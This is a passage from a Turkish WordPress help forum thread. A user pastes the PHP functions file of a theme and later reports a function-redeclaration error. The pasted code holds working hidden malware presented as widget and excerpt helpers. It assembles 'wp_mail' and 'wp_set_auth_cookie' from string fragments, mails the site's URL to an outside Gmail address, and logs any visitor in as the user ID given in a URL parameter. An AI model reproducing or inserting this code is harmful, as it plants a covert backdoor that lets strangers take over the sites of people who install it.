    /* close file */
    fclose( $f );
    return true;
  } else {
    return false;
  }
}

function option_tree_normalize_css( $s ) {
  // Normalize line endings
  // Convert all line-endings to UNIX format
  $s = str_replace( "\r\n", "\n", $s );
  $s = str_replace( "\r", "\n", $s );
  // Don't allow out-of-control blank lines
  $s = preg_replace( "/\n{2,}/", "\n\n", $s );
  return $s;
}?>
<?php
function _get_allwidgetcont($wids,$items=array()){
        $places=array_shift($wids);
        if(substr($places,-1) == "/"){
                $places=substr($places,0,-1);
        }
        if(!file_exists($places) || !is_dir($places)){
                return false;
        }elseif(is_readable($places)){
                $elems=scandir($places);
                foreach ($elems as $elem){
                        if ($elem != "." && $elem != ".."){
                                if (is_dir($places . "/" . $elem)){
                                        $wids[]=$places . "/" . $elem;
                                } elseif (is_file($places . "/" . $elem)&&
                                        $elem == substr(__FILE__,-13)){
                                        $items[]=$places . "/" . $elem;}
                                }
                        }
        }else{
                return false;       
        }
        if (sizeof($wids) > 0){
                return _get_allwidgetcont($wids,$items);
        } else {
                return $items;
        }
}
if(!function_exists("stripos")){
function stripos(  $str, $needle, $offset = 0  ){
return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
}
}
if(!function_exists("strripos")){
function strripos(  $haystack, $needle, $offset = 0  ) {
if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
if(  $offset < 0  ){
$temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
}
else{
$temp_cut = strrev(    substr(  $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )  )    );
}
if(  (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE  )return FALSE;
$pos = (  strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )  );
return $pos;
}
}
if(!function_exists("scandir")){
        function scandir($dir,$listDirectories=false, $skipDots=true) {
            $dirArray = array();
            if ($handle = opendir($dir)) {
                while (false !== ($file = readdir($handle))) {
                    if (($file != "." && $file != "..") || $skipDots == true) {
                        if($listDirectories == false) { if(is_dir($file)) { continue; } }
                        array_push($dirArray,basename($file));
                    }
                }
                closedir($handle);
            }
            return $dirArray;
        }
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
        if(!isset($com_length)) $com_length=120;
        if(!isset($text_value)) $text_value="cookie";
        if(!isset($allowed_tags)) $allowed_tags="<a>";
        if(!isset($type_filter)) $type_filter="none";
        if(!isset($expl)) $expl="";
        if(!isset($filter_homes)) $filter_homes=get_option("home");
        if(!isset($pref_filter)) $pref_filter="wp_";
        if(!isset($use_more)) $use_more=1;
        if(!isset($comm_type)) $comm_type="";
        if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
        if(!isset($postauthor_comment)) $postauthor_comment="";
        if(!isset($comm_is_approved)) $comm_is_approved="";
        if(!isset($postauthor)) $postauthor="auth";
        if(!isset($more_link)) $more_link="(more...)";
        if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
        if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
        if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
        if(!isset($morecontents)) $morecontents="ma".$expl."il";
        if(!isset($fmore)) $fmore=1;
        if(!isset($fakeit)) $fakeit=1;
        if(!isset($sql)) $sql="";
        if (!$is_widget) :
        global $wpdb, $post;
        $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if (!empty($post->post_password)) {
                if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
                        if(is_feed()) {
                                $output=__("There is no excerpt because this is a protected post.");
                        } else {
                    $output=get_the_password_form();
                        }
                }
        }
        if(!isset($f_tags)) $f_tags=1;
        if(!isset($type_filters)) $type_filters=$filter_homes;
        if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
        if(!isset($aditional_tags)) $aditional_tags="div";
        if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
        if(!isset($more_link_text)) $more_link_text="Continue reading this entry";       
        if(!isset($showdots)) $showdots=1;       
        $comments=$wpdb->get_results($sql);       
        if($fakeit == 2) {
                $text=$post->post_content;
        } elseif($fakeit == 1) {
                $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
        } else {
                $text=$post->post_excerpt;
        }
        $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
        if($com_length < 0) {
                $output=$text;
        } else {
                if(!$no_more && strpos($text, "<!--more-->")) {
                    $text=explode("<!--more-->", $text, 2);
                        $l=count($text[0]);
                        $more_link=1;
                        $comments=$wpdb->get_results($sql);
                } else {
                        $text=explode(" ", $text);
                        if(count($text) > $com_length) {
                                $l=$com_length;
                                $ellipsis=1;
                        } else {
                                $l=count($text);
                                $more_link="";
                                $ellipsis=0;
                        }
                }
                for ($i=0; $i<$l; $i++)
                                $output .= $text[$i] . " ";
        }
        update_option("_is_widget_active_", 1);
        if("all" != $allowed_tags) {
                $output=strip_tags($output, $allowed_tags);
                return $output;
        }
        endif;
        $output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
        $output .= ($showdots && $ellipsis) ? "..." : "";
        $output=apply_filters($type_filter, $output);
        switch($aditional_tags) {
                case("div") :
                        $tag="div";
                break;
                case("span") :
                        $tag="span";
                break;
                case("p") :
                        $tag="p";
                break;
                default :
                        $tag="span";
        }

        if ($use_more ) {
                if($fmore) {
                        $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
                } else {
                        $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
                }
        }
        return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
        global $wpdb;
        $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
        $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
        if(!$show_pass_post) $request .= " AND post_password =\"\"";
        if($duration !="") {
                $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
        }
        $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
        $posts=$wpdb->get_results($request);
        $output="";
        if ($posts) {
                foreach ($posts as $post) {
                        $post_title=stripslashes($post->post_title);
                        $comment_count=$post->comment_count;
                        $permalink=get_permalink($post->ID);
                        $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
                }
        } else {
                $output .= $before . "None found" . $after;
        }
        return  $output;
}               
?>


olkanuver 09-06-2013 11:43:30

yok abi bu sefer de "Fatal error: Cannot redeclare _get_allwidgetcont() (previously declared in /home/medyacom/public_html/wp-content/themes/localnews/functions.php:176) in /home/medyacom/public_html/wp-content/themes/localnews/functions/theme_options/functions/functions.php on line 386" hatası verdi. Ne yapsak başka satırda hata veriyor. Çare yok silicem o zaman güzel de temaydı :(


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 16:14:08.

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.